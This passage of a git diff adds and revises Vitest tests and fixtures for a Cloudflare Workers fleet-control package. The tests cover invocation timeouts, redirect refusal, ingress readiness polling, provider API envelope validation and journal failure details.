(fetchRequest.mock.calls.length > 1) + return new Promise(() => {}); + startedAt = performance.now(); + return new Response('unavailable', { + status: 404, + headers: { 'content-type': 'text/html' }, + }); + }); + const result = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }) + .invoke({ kind: 'control-read' }) + .catch((error: unknown) => error); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + await vi.advanceTimersByTimeAsync( + 120_000 - (performance.now() - startedAt), + ); + await expect(result).resolves.toMatchObject({ code: 'outcome-unknown' }); + expect(fetchRequest).toHaveBeenCalledTimes(2); + expect(fetchRequest.mock.calls[1]?.[1]?.signal?.aborted).toBe(true); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + }); + + it.each([ + [404, 'application/json', {}], + [500, 'application/json', {}], + [500, 'text/plain', {}], + [500, 'text/html', {}], + [200, 'text/plain', {}], + [302, 'text/html', {}], + [404, 'text/plain', { 'cache-control': 'no-store' }], + [404, 'text/html', { 'www-authenticate': 'Bearer' }], + [404, 'application/problem+json', {}], + ] as const)('does not re-deliver HTTP %i %s with markers %j', async (status, contentType, markers) => { + const f = await fixture(3, 5_000); + await expectUnknown( + f, + async () => + new Response( + JSON.stringify({ + contractVersion: 1, + ok: false, + error: { code: status === 404 ? 'not-found' : 'operation-refused' }, + }), + { status, headers: { 'content-type': contentType, ...markers } }, + ), + ); + }); + + it('sends the default transport POST with the invocation headers and serialized body', async () => { + const f = await fixture(); + let received: unknown; + const request = await localReference((incoming, outgoing) => { + let body = ''; + incoming.setEncoding('utf8'); + incoming.on('data', (chunk) => { + body += chunk; + }); + incoming.on('end', () => { + received = { + method: incoming.method, + path: incoming.url, + headers: incoming.headers, + body, + }; + outgoing.writeHead(200, responseHeaders); + outgoing.end(JSON.stringify(f.success())); + }); + }); + const fetchRequest = vi.fn(); + vi.stubGlobal('fetch', fetchRequest); + const client = createDirectInvocationClient(f.options); + await expect(client.invoke({ kind: 'control-read' })).resolves.toEqual({ + result: { token: CLAIM }, + attempts, + }); + expect(received).toMatchObject({ + method: 'POST', + path: DIRECT_REFERENCE_PATH, + headers: { + authorization: `Bearer ${SECRET}`, + 'content-type': 'application/json', + accept: 'application/json', + 'cache-control': 'no-store', + }, + body: JSON.stringify({ + contractVersion: 1, + configSha256: f.prepared.configSha256, + action: { kind: 'control-read' }, + }), + }); + expect(request).toHaveBeenCalledTimes(1); + expect(fetchRequest).not.toHaveBeenCalled(); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it('disables transport idle timeouts and accepts mutation headers after 300 seconds within the invocation deadline', async () => { + const f = await fixture(3, 600_000); + let receive!: (response: http.ServerResponse) => void; + const received = new Promise((resolve) => { + receive = resolve; + }); + const request = await localReference((_incoming, outgoing) => { + receive(outgoing); + }); + vi.useFakeTimers(); + const client = createDirectInvocationClient(f.options); + const invocation = client.invoke({ + kind: 'provision', + role: 'a', + release: 'initial', + }); + const accepted = expect(invocation).resolves.toMatchObject({ attempts }); + const outgoing = await received; + const options = request.mock.calls[0]?.[1] as https.RequestOptions; + expect(options).toEqual({ + method: 'POST', + headers: expect.any(Object), + signal: expect.any(AbortSignal), + timeout: 0, + agent: false, + }); + await vi.advanceTimersByTimeAsync(300_001); + expect(options.signal?.aborted).toBe(false); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + outgoing.writeHead(200, responseHeaders); + outgoing.end(JSON.stringify(f.success('provision'))); + await accepted; + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it('accepts read-only headers after 300 seconds within the invocation deadline', async () => { + const f = await fixture(3, 600_000); + let receive!: (response: http.ServerResponse) => void; + const received = new Promise((resolve) => { + receive = resolve; + }); + const request = await localReference((_incoming, outgoing) => { + receive(outgoing); + }); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const invocation = createDirectInvocationClient(f.options).invoke({ + kind: 'control-read', + }); + const accepted = expect(invocation).resolves.toMatchObject({ attempts }); + const outgoing = await received; + expect(vi.getTimerCount()).toBe(1); + await vi.advanceTimersByTimeAsync(300_001); + outgoing.writeHead(200, responseHeaders); + outgoing.end(JSON.stringify(f.success())); + await accepted; + expect(request).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it.each([ + ['read-only', { kind: 'control-read' }], + ['mutation', { kind: 'provision', role: 'a', release: 'initial' }], + ] as const)('keeps a re-delivered %s answer streaming past the delivery window', async (_kind, action) => { + const f = await fixture(3, 600_000); + const reserveInvocation = vi.fn((body: string) => + f.journal.reserveInvocation(body), + ); + const bodies: string[] = []; + let receive!: (response: http.ServerResponse) => void; + const received = new Promise((resolve) => { + receive = resolve; + }); + const request = await localReference((incoming, outgoing) => { + let body = ''; + incoming.setEncoding('utf8'); + incoming.on('data', (chunk) => { + body += chunk; + }); + incoming.on('end', () => { + bodies.push(body); + if (bodies.length === 1) { + if (action.kind === 'control-read') outgoing.destroy(); + else { + outgoing.writeHead(404, { 'content-type': 'text/html' }); + outgoing.end('not ready'); + } + return; + } + outgoing.writeHead(200, responseHeaders); + outgoing.write('{'); + receive(outgoing); + }); + }); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const invocation = createDirectInvocationClient({ + ...f.options, + journal: { ...f.journal, reserveInvocation }, + }).invoke(action); + const accepted = expect(invocation).resolves.toMatchObject({ attempts }); + await vi.waitFor(() => { + expect(request).toHaveBeenCalledTimes(1); + expect(vi.getTimerCount()).toBe(3); + }); + await vi.advanceTimersByTimeAsync(2_000); + const outgoing = await received; + await vi.waitFor(() => expect(vi.getTimerCount()).toBe(1)); + await vi.advanceTimersByTimeAsync(120_001); + outgoing.end(JSON.stringify(f.success(action.kind)).slice(1)); + await accepted; + expect(request).toHaveBeenCalledTimes(2); + expect(reserveInvocation).toHaveBeenCalledTimes(1); + expect(bodies).toEqual([ + reserveInvocation.mock.calls[0]?.[0], + reserveInvocation.mock.calls[0]?.[0], + ]); + expect(f.journal.snapshot().lastInvocation?.state).toBe('settled'); + }); + + it('reports the answer class, not the delivery window, when the invocation deadline ends a first read-only attempt', async () => { + const f = await fixture(3, 10_000); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const fetchRequest = vi.fn( + () => new Promise(() => {}), + ); + const invocation = createDirectInvocationClient({ + ...f.options, + fetch: fetchRequest, + }).invoke({ kind: 'control-read' }); + const refused = expect(invocation).rejects.toMatchObject({ + code: 'outcome-unknown', + detail: 'transport-failure', + }); + await vi.waitFor(() => expect(fetchRequest).toHaveBeenCalledTimes(1)); + expect(vi.getTimerCount()).toBe(1); + await vi.advanceTimersByTimeAsync(10_000); + await refused; + expect(fetchRequest).toHaveBeenCalledTimes(1); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + }); + + it.each([ + 'headers', + 'body', + ])('aborts a hanging default transport %s exchange as outcome-unknown', async (phase) => { + const f = await fixture(3, 100); + let disconnect!: () => void; + const disconnected = new Promise((resolve) => { + disconnect = resolve; + }); + const request = await localReference((_incoming, outgoing) => { + outgoing.on('close', disconnect); + if (phase === 'body') { + outgoing.writeHead(200, responseHeaders); + outgoing.write('{'); + } + }); + const client = createDirectInvocationClient(f.options); + await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject( + { code: 'outcome-unknown' }, + ); + await disconnected; + const options = request.mock.calls[0]?.[1] as https.RequestOptions; + expect(options.signal?.aborted).toBe(true); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + await expect(client.invoke({ kind: 'control-read' })).rejects.toMatchObject( + { code: 'outcome-unknown' }, + ); + expect(request).toHaveBeenCalledTimes(1); + await closed(f.journal); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + }); + + it('refuses a default transport redirect without following its location', async () => { + const f = await fixture(3, 3_500); + const paths: (string | undefined)[] = []; + const request = await localReference((incoming, outgoing) => { + paths.push(incoming.url); + outgoing.writeHead(302, { + ...responseHeaders, + Location: `http://${incoming.headers.host}/redirect-target`, + }); + outgoing.end(); + }); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const client = createDirectInvocationClient(f.options); + const result = client + .invoke({ kind: 'control-read' }) + .catch((error: unknown) => error); + await vi.waitFor(() => { + expect(paths).toHaveLength(1); + expect(vi.getTimerCount()).toBe(2); + }); + await vi.advanceTimersToNextTimerAsync(); + await vi.waitFor(() => expect(paths).toHaveLength(2)); + await vi.advanceTimersToNextTimerAsync(); + await expect(result).resolves.toMatchObject({ + code: 'outcome-unknown', + detail: 'delivery-window-expired', + }); + expect(paths).toEqual([DIRECT_REFERENCE_PATH, DIRECT_REFERENCE_PATH]); + expect(paths).not.toContain('/redirect-target'); + expect(request).toHaveBeenCalledTimes(2); + expect(f.journal.snapshot().lastInvocation?.state).toBe('pending'); + }); + + it('accepts three consecutive exact ingress contract refusals with unauthenticated requests', async () => { + const f = await fixture(); + const dispatch = vi.fn(); + const fetchRequest = vi.fn(async (url, init) => { + const request = new Request(url, init); + expect(request.url).toBe( + `https://${f.prepared.names.referenceWorker}.attested-account.workers.dev${DIRECT_REFERENCE_PATH}`, + ); + expect(request.method).toBe('POST'); + expect(Object.fromEntries(request.headers)).toEqual({ + accept: 'application/json', + 'cache-control': 'no-store', + 'content-type': 'application/json', + }); + expect(init?.body).toBe('{}'); + expect(request.redirect).toBe('manual'); + expect(request.cache).toBe('no-store'); + return handleDirectReferenceHttpRequest(request, { + configSha256: f.prepared.configSha256, + invokeSecret: SECRET, + invocationTimeoutMs: 1000, + dispatch, + }); + }); + await expect( + awaitReferenceIngress({ + ...f.options, + fetch: fetchRequest, + sleep: async () => {}, + }), + ).resolves.toBe(true); + expect(fetchRequest).toHaveBeenCalledTimes(3); + expect(dispatch).not.toHaveBeenCalled(); + expect(f.journal.snapshot()).toMatchObject({ + invocationCount: 0, + lastInvocation: null, + }); + }); + + it('retries HTML 404, thrown fetch, and non-contract 200 before ingress readiness', async () => { + const f = await fixture(); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const sleep = vi.fn(async (ms: number) => { + await vi.advanceTimersByTimeAsync(ms); + }); + const fetchRequest = vi + .fn() + .mockResolvedValueOnce( + new Response('missing', { status: 404 }), + ) + .mockRejectedValueOnce(new Error(SECRET)) + .mockResolvedValueOnce(Response.json({})) + .mockImplementation(async () => ingressRefusal()); + await expect( + awaitReferenceIngress({ + ...f.options, + fetch: fetchRequest, + deadlineMs: 100, + intervalMs: 10, + sleep, + }), + ).resolves.toBe(true); + expect(fetchRequest).toHaveBeenCalledTimes(6); + expect(sleep.mock.calls).toEqual([[10], [10], [10], [10], [10]]); + for (const [url, init] of fetchRequest.mock.calls) + expect(new Request(url, init).headers.has('authorization')).toBe(false); + }); + + it('returns not ready at the deadline after non-contract responses', async () => { + const f = await fixture(); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const sleep = vi.fn( + (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)), + ); + const fetchRequest = vi.fn(async () => Response.json({})); + const result = awaitReferenceIngress({ + ...f.options, + fetch: fetchRequest, + deadlineMs: 25, + intervalMs: 10, + sleep, + }); + await vi.advanceTimersByTimeAsync(24); + expect(fetchRequest).toHaveBeenCalledTimes(3); + expect(sleep.mock.calls).toEqual([[10], [10]]); + expect(vi.getTimerCount()).toBe(1); + await vi.advanceTimersByTimeAsync(1); + await expect(result).resolves.toBe(false); + expect(fetchRequest).toHaveBeenCalledTimes(3); + }); + + it.each([ + 'cache-control', + 'error-code', + 'content-type', + 'www-authenticate', + 'extra-field', + 'oversize', + ])('does not accept a deviating ingress refusal: %s', async (kind) => { + const f = await fixture(); + vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout', 'performance'] }); + const response = ingressRefusal(); + if (kind === 'cache-control' || kind === 'www-authenticate') + response.headers.delete(kind); + if (kind === 'content-type') + response.headers.set('content-type', 'text/html'); + if (kind === 'oversize') + response.headers.set('content-length', String(4 * 1024 * 1024 + 1)); + const altered = + kind === 'error-code' || kind === 'extra-field' + ? new Response( + JSON.stringify({ + contractVersion: 1, + ok: false, + error: { code: kind === 'error-code' ? SECRET : 'unauthorized' }, + ...(kind === 'extra-field' ? { extra: true } : {}), + }), + { status: 401, headers: response.headers }, + ) + : response; + const fetchRequest = vi + .fn() + .mockResolvedValueOnce(altered) + .mockImplementation(async () => ingressRefusal()); + await expect( + awaitReferenceIngress({ + ...f.options, + fetch: fetchRequest, + deadlineMs: 40, + intervalMs: 10, + sleep: async (ms) => { + await vi.advanceTimersByTimeAsync(ms); + }, + }), + ).resolves.toBe(true); + expect(fetchRequest).toHaveBeenCalledTimes(4); + }); + + it.each([ + 'fetch', + 'body', + ])('bounds a stalled ingress %s by the deadline', async (kind) => { + const f = await fixture(); + const response = ingressRefusal(); + const stalled = new Response(new ReadableStream(), { + status: 401, + headers: response.headers, + }); + const fetchRequest = vi.fn(async () => + kind === 'fetch' ? new Promise(() => {}) : stalled, + ); + await expect( + awaitReferenceIngress({ + ...f.options, + fetch: fetchRequest, + deadlineMs: 20, + }), + ).resolves.toBe(false); + expect(fetchRequest).toHaveBeenCalledTimes(1); + expect(fetchRequest.mock.calls[0]?.[1]?.signal?.aborted).toBe(true); + }); + it.each([ 'operator:token', 'operator token', @@ -513,7 +1365,7 @@ describeLinux('Node authenticated direct invocation', () => { 'hostile-rejection', ])('retains pending state and refuses resume for an unaccepted exchange: %s', async (kind) => { const f = await fixture(); - const body = f.success(); + const body = f.success('provision'); let response: Response; if (kind.includes('503')) { const value: Record = { @@ -610,12 +1462,9 @@ describeLinux('Node authenticated direct invocation', () => { } return response; }, - { - kind: - kind.includes('503') && kind !== 'wrong-503-action' - ? 'migration-continue' - : 'control-read', - }, + kind.includes('503') && kind !== 'wrong-503-action' + ? { kind: 'migration-continue' } + : { kind: 'provision', role: 'a', release: 'initial' }, ); }); diff --git a/packages/fleet-control/test/direct-credentialed-observations.test.ts b/packages/fleet-control/test/direct-credentialed-observations.test.ts index 94845c61..db653cc5 100644 --- a/packages/fleet-control/test/direct-credentialed-observations.test.ts +++ b/packages/fleet-control/test/direct-credentialed-observations.test.ts @@ -256,6 +256,33 @@ describe('fixed Worker observations through the native SDK', () => { ).toBe(50); }); + it('accepts absent version compatibility_flags when configuration declares no flags', async () => { + const f = await fixture(); + expect(f.prepared.config.deployment.compatibilityFlags).toEqual([]); + await mutateResponse(f, '/versions/version-a', (value) => { + delete recordAt(value, 'result.resources.script_runtime') + .compatibility_flags; + }); + await expect( + observeDirectWorkerVersion(selected(f)), + ).resolves.toMatchObject({ + versionId: 'version-a', + trafficPercentage: 100, + }); + }); + + it('refuses explicit null version compatibility_flags when configuration declares no flags', async () => { + const f = await fixture(); + expect(f.prepared.config.deployment.compatibilityFlags).toEqual([]); + await mutateResponse(f, '/versions/version-a', (value) => { + recordAt(value, 'result.resources.script_runtime').compatibility_flags = + null; + }); + await expect(observeDirectWorkerVersion(selected(f))).rejects.toMatchObject( + { code: 'observation-mismatch' }, + ); + }); + it('starts a fresh bounded SDK session for each observation', async () => { const f = await fixture(); const now = vi.spyOn(performance, 'now').mockReturnValue(0); @@ -588,6 +615,37 @@ describe('confirmed context before provider work', () => { }); describe('fixed settlement query and ready-row correlation', () => { + it('accepts null errors and messages on successful D1 statements', async () => { + const f = await fixture(); + await mutateResponse(f, '/query', (body) => { + const statement = recordAt(body, 'result.0'); + statement.errors = null; + statement.messages = null; + }); + const output = await readDirectSettlementEffects({ + ...f.input, + expected: f.expected, + }); + expect(output.map((row) => row.role)).toEqual(['a', 'b']); + expect(f.requests).toHaveLength(3); + }); + + it.each([ + { kind: 'non-empty array', errors: [{ code: 1000, message: 'x' }] }, + { kind: 'non-array', errors: 'bad' }, + ])('refuses $kind errors on successful D1 statements', async ({ errors }) => { + const f = await fixture(); + await mutateResponse(f, '/query', (body) => { + recordAt(body, 'result.0').errors = errors; + }); + await expect( + readDirectSettlementEffects({ ...f.input, expected: f.expected }), + ).rejects.toMatchObject({ + name: 'DirectObservationError', + code: 'observation-mismatch', + }); + }); + it('reads reference D1 only, binds prefix/tenants, validates hashes and returns allowlisted effects', async () => { const f = await fixture(); const before = f.journal.snapshot(); @@ -737,6 +795,45 @@ describe('fixed settlement query and ready-row correlation', () => { }); describe('normal export raw-byte proof', () => { + it.each([ + undefined, + 'identity', + ])('verifies a chunked identity body with content-encoding %s and no content-length', async (encoding) => { + const f = await fixture(); + const input = await f.exportInput(); + f.hook(() => { + const headers = new Headers({ 'transfer-encoding': 'chunked' }); + if (encoding) headers.set('content-encoding', encoding); + return new Response(SQL_SENTINEL, { headers }); + }); + await expect(verifyDirectDecommissionExport(input)).resolves.toMatchObject({ + verified: true, + size: input.metadata.size, + sha256: input.metadata.sha256, + }); + expect(f.requests[0]?.headers.get('accept-encoding')).toBe('identity'); + }); + + it.each([ + { + name: 'gzip encoding', + headers: new Headers({ 'content-encoding': 'gzip' }), + }, + { + name: 'a length differing from the receipt', + headers: new Headers({ 'content-length': '1' }), + }, + ])('refuses $name with observation-mismatch despite exact body bytes', async ({ + headers, + }) => { + const f = await fixture(); + const input = await f.exportInput(); + f.hook(() => new Response(SQL_SENTINEL, { headers })); + await expect(verifyDirectDecommissionExport(input)).rejects.toMatchObject({ + code: 'observation-mismatch', + }); + }); + it('derives exact R2 key and returns frozen receipt with source ordinal', async () => { const f = await fixture(); const input = await f.exportInput(); diff --git a/packages/fleet-control/test/direct-credentialed-provider.test.ts b/packages/fleet-control/test/direct-credentialed-provider.test.ts new file mode 100644 index 00000000..41377c32 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-provider.test.ts @@ -0,0 +1,98 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { openDirectProviderSession } from '../scripts/direct-credentialed-provider.mjs'; + +const sessions: Awaited>[] = []; + +async function fixture(envelope: Record) { + const fetchRequest = vi.fn(async () => Response.json(envelope)); + const session = await openDirectProviderSession({ + apiToken: 'inert-provider-token', + fetchRequest, + timeoutMs: 5_000, + }); + sessions.push(session); + return { session, fetchRequest }; +} + +beforeEach(() => { + vi.stubGlobal('fetch', () => { + throw new Error('unexpected network'); + }); +}); + +afterEach(() => { + for (const session of sessions.splice(0)) session.transport.close(); + vi.unstubAllGlobals(); +}); + +describe.each([ + 'object', + 'numbered', + 'single', +] as const)('direct provider %s envelopes through the native SDK', (shape) => { + const row = { id: 'account' }; + const result = shape === 'object' ? row : []; + const read = ( + session: Awaited>, + ) => + shape === 'object' + ? session.sdk.accounts.get({ account_id: 'account' }) + : session[shape].zones.list().then((page) => page.result); + + it.each([ + undefined, + null, + ])('accepts null errors and messages with result_info %s', async (info) => { + const { session, fetchRequest } = await fixture({ + success: true, + errors: null, + messages: null, + result, + result_info: info, + }); + await expect(read(session)).resolves.toEqual(result); + expect(fetchRequest).toHaveBeenCalledTimes(1); + expect( + new Headers(fetchRequest.mock.calls[0]?.[1]?.headers).has( + 'accept-encoding', + ), + ).toBe(false); + }); + + it.each([ + { kind: 'non-empty array', errors: [{ code: 1000, message: 'x' }] }, + { kind: 'non-array', errors: 'bad' }, + ])('refuses $kind errors', async ({ errors }) => { + const { session } = await fixture({ success: true, result, errors }); + await expect(read(session)).rejects.toMatchObject({ + code: 'provider-unavailable', + }); + }); +}); + +it('requests identity encoding for the export object GET through the native SDK', async () => { + const { session, fetchRequest } = await fixture({}); + fetchRequest.mockResolvedValueOnce(new Response('SQL')); + const response = await session + .exportReader(3) + .r2.buckets.objects.get('receipt.sql', { + account_id: 'account', + bucket_name: 'exports', + jurisdiction: 'default', + }); + expect(await response.text()).toBe('SQL'); + expect(fetchRequest).toHaveBeenCalledTimes(1); + const call = fetchRequest.mock.calls[0]; + if (!call) throw new Error('object GET absent'); + const [input, init] = call; + const request = new Request(input, init); + expect(request.method).toBe('GET'); + expect(request.headers.get('accept-encoding')).toBe('identity'); + expect(request.headers.get('accept')).toBe('application/octet-stream'); + expect(request.headers.get('authorization')).toBe( + 'Bearer inert-provider-token', + ); + expect(request.headers.get('cf-r2-jurisdiction')).toBe('default'); +}); diff --git a/packages/fleet-control/test/direct-credentialed-run-state.test.ts b/packages/fleet-control/test/direct-credentialed-run-state.test.ts index 5947c51a..581632eb 100644 --- a/packages/fleet-control/test/direct-credentialed-run-state.test.ts +++ b/packages/fleet-control/test/direct-credentialed-run-state.test.ts @@ -1506,6 +1506,21 @@ describeLinux('durable scenario state', () => { } }, 60_000); + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('persists invocation failure detail %s', async (detail) => { + const { journal } = await scenarioJournal(); + await journal.recordScenario( + scenarioWith((state) => { + present(state.failure).detail = detail; + }), + ); + expect(journal.snapshot().scenario?.failure?.detail).toBe(detail); + }); + it('accepts the optional refusal detail and refuses one outside the vocabulary', async () => { const unknown = await scenarioJournal(); await refuses( diff --git a/packages/fleet-control/test/direct-credentialed-scenario.test.ts b/packages/fleet-control/test/direct-credentialed-scenario.test.ts index b2268a6b..3ed8eaff 100644 --- a/packages/fleet-control/test/direct-credentialed-scenario.test.ts +++ b/packages/fleet-control/test/direct-credentialed-scenario.test.ts @@ -488,12 +488,14 @@ describe('scenario journal refusal boundaries', () => { const snapshot = local.journal.snapshot(); expect(snapshot.lastInvocation?.state).toBe('pending'); expect(snapshot.invocationCount).toBe(2); + const firstRunCalls = calls; + expect(firstRunCalls).toBeGreaterThanOrEqual(1); expect(await runDirectCredentialedScenario(input)).toMatchObject({ status: 'failed', reason: 'outcome-unknown', }); expect(local.journal.snapshot()).toEqual(snapshot); - expect(calls).toBe(1); + expect(calls).toBe(firstRunCalls); }); }); @@ -1358,6 +1360,34 @@ describe('scenario resume re-entry against a settled journal', () => { }); }); + it.each([ + 'platform-page', + 'transport-failure', + 'non-contract-answer', + 'delivery-window-expired', + ] as const)('persists invocation outcome-unknown detail %s in scenario failure', async (detail) => { + const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); + const invocation: DirectInvocationClient = { + async invoke() { + throw new DirectInvocationError( + 'outcome-unknown', + undefined, + undefined, + detail, + ); + }, + }; + expect(await run(target, invocation)).toMatchObject({ + status: 'failed', + reason: 'outcome-unknown', + detail, + }); + expect(stored(target).failure).toMatchObject({ + code: 'outcome-unknown', + detail, + }); + }); + it('re-raises the persisted refusal detail on resume', async () => { const target = await scenarioJournal(DIRECT_SCENARIO_MIN_INVOCATIONS); await target.journal.recordScenario( diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts index d717b214..8fe45e12 100644 --- a/packages/fleet-control/test/direct-reference-worker.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts @@ -69,7 +69,7 @@ export default {async fetch(request,env){ if(req.method!=='GET'||url.origin!=='https://api.cloudflare.com'||!url.pathname.startsWith('/client/v4/'))throw new Error('unexpected fixture dispatch'); const path=url.pathname.slice('/client/v4'.length); calls.push({path,page:url.searchParams.get('page'),jurisdiction:req.headers.get('cf-r2-jurisdiction')}); - if(path==='/user/tokens/verify')return single({id:'token-id',status:'active'}); + if(path==='/accounts/account/tokens/verify'||path==='/user/tokens/verify')return single({id:'token-id',status:'active'}); if(path==='/accounts/account/tokens/token-id')return single({id:'token-id',status:'active',policies:[{id:'zone-authority',effect:'allow',permission_groups:[{id:'zone-read',name:'Zone Read'},{id:'routes-read',name:'Workers Routes Read'},{id:'routes-write',name:'Workers Routes Write'}],resources:{'com.cloudflare.api.account.account':{'com.cloudflare.api.account.zone.*':'*'}}}]}); if(path==='/zones'){if(url.searchParams.get('account.id')!=='account')throw new Error('wrong zone account');return page([]);} if(path==='/accounts/account/workers/domains'||path==='/accounts/account/workers/scripts'||path==='/accounts/account/workers/durable_objects/namespaces')return page([]); @@ -158,7 +158,10 @@ export default {async fetch(request,env){ name: 'direct-reference-harness', main, compatibility_date: '2026-08-06', - compatibility_flags: ['nodejs_compat'], + compatibility_flags: [ + 'nodejs_compat', + 'global_fetch_strictly_public', + ], d1_databases: [ { binding: 'FLEET_DB', diff --git a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts index ea5e42b5..047fa321 100644 --- a/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts +++ b/packages/fleet-control/test/fixtures/cloudflare-fetch-fixture.ts @@ -22,7 +22,11 @@ type PageInfo = Readonly<{ cursors?: Readonly<{ after?: string }>; }>; -function page(result: unknown, info: PageInfo): Response { +function page( + result: unknown, + info: PageInfo, + emptyEnvelopeFields?: { errors: null; messages: null }, +): Response { let items: readonly unknown[] | undefined; if (Array.isArray(result)) { items = result; @@ -35,6 +39,7 @@ function page(result: unknown, info: PageInfo): Response { success: true, errors: [], messages: [], + ...emptyEnvelopeFields, result, result_info: { page: 1, @@ -76,7 +81,7 @@ export function envelope(result: unknown): Response { export function zoneAuthorityResponse( url: URL, - zoneIds: readonly (string | { id: string; name?: string })[], + zoneIds: readonly (string | { id: string; name?: string; type?: string })[], routes?: readonly WorkerRoute[], ): Response | undefined { if ( @@ -114,11 +119,16 @@ export function zoneAuthorityResponse( page: Number(url.searchParams.get('page')), per_page: 20, }); + const types = url.searchParams.getAll('type'); + const zones = zoneIds.map((zone) => ({ + type: 'full', + ...(typeof zone === 'string' ? { id: zone } : zone), + account: { id: 'account' }, + })); return envelope( - zoneIds.map((zone) => ({ - ...(typeof zone === 'string' ? { id: zone } : zone), - account: { id: 'account' }, - })), + types.length > 1 + ? [] + : zones.filter((zone) => types.length === 0 || zone.type === types[0]), ); } const parts = url.pathname.split('/').filter(Boolean); @@ -130,6 +140,7 @@ export function zoneAuthorityResponse( ); return zone ? single({ + type: 'full', ...(typeof zone === 'string' ? { id: zone } : zone), account: { id: 'account' }, }) @@ -714,13 +725,20 @@ export function restProjection(world: ProviderWorld): CloudflareFixtureHandler { }); } if (target.pathname.endsWith('/versions') && method === 'GET') { - if (Number(target.searchParams.get('page') ?? '1') !== 1) - return pageItems([], { page: Number(target.searchParams.get('page')) }); - return pageItems( - script.versions.map(({ versionId, tag }) => ({ - id: versionId, - annotations: tag === undefined ? undefined : { 'workers/tag': tag }, - })), + const pageNumber = Number(target.searchParams.get('page') ?? '1'); + return page( + { + items: + pageNumber === 1 + ? script.versions.map(({ versionId, tag }) => ({ + id: versionId, + annotations: + tag === undefined ? undefined : { 'workers/tag': tag }, + })) + : [], + }, + { page: pageNumber }, + { errors: null, messages: null }, ); } if (target.pathname.endsWith('/versions') && method === 'POST') { diff --git a/packages/fleet-control/test/fixtures/direct-reference-harness.ts b/packages/fleet-control/test/fixtures/direct-reference-harness.ts index ea70847c..ce4cee0f 100644 --- a/packages/fleet-control/test/fixtures/direct-reference-harness.ts +++ b/packages/fleet-control/test/fixtures/direct-reference-harness.ts @@ -850,7 +850,10 @@ let instance; export default {async fetch(request,env){instance??=crypto.randomU name: 'direct-lifecycle-harness', main, compatibility_date: '2026-08-06', - compatibility_flags: ['nodejs_compat'], + compatibility_flags: [ + 'nodejs_compat', + 'global_fetch_strictly_public', + ], d1_databases: [ { binding: 'FLEET_DB', diff --git a/packages/fleet-control/test/fixtures/fleet-audit-world.ts b/packages/fleet-control/test/fixtures/fleet-audit-world.ts index 625ae839..9c17ce29 100644 --- a/packages/fleet-control/test/fixtures/fleet-audit-world.ts +++ b/packages/fleet-control/test/fixtures/fleet-audit-world.ts @@ -858,6 +858,7 @@ function fleetAuditWorldInventory(): FleetResourceInventory { detail: 'seeded provider finding carried through the golden baseline', }, ], + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations, deployments, databaseIds, diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts index 067df54e..f84b0af5 100644 --- a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts +++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts @@ -125,7 +125,7 @@ export const DRAIN_BASELINE_REQUESTS = [ }, { method: 'GET', - url: 'https://api.cloudflare.com/client/v4/user/tokens/verify', + url: 'https://api.cloudflare.com/client/v4/accounts/account/tokens/verify', body: undefined, }, { @@ -135,12 +135,12 @@ export const DRAIN_BASELINE_REQUESTS = [ }, { method: 'GET', - url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&type=full&type=partial&type=secondary&type=internal', + url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50', body: undefined, }, { method: 'GET', - url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&type=full&type=partial&type=secondary&type=internal&page=2', + url: 'https://api.cloudflare.com/client/v4/zones?account.id=account&per_page=50&page=2', body: undefined, }, { @@ -427,6 +427,7 @@ export const DRAIN_BASELINE_INVENTORY = { trustedWorkers: true, scriptCount: 5, }, + unavailableR2Jurisdictions: Object.freeze([]), scriptRegistrations: [ { scriptName: 'fleet-alpha', diff --git a/packages/fleet-control/test/fixtures/provider-world.ts b/packages/fleet-control/test/fixtures/provider-world.ts index 8085caa0..e8d76d96 100644 --- a/packages/fleet-control/test/fixtures/provider-world.ts +++ b/packages/fleet-control/test/fixtures/provider-world.ts @@ -143,7 +143,7 @@ export interface ProviderUpload { }; } -/** A one-shot provider failure at a logical backend operation boundary. */ +/** A provider failure at a logical backend operation boundary. */ export interface ProviderFailure { /** * Whether the selected request commits before its response is lost. A @@ -155,10 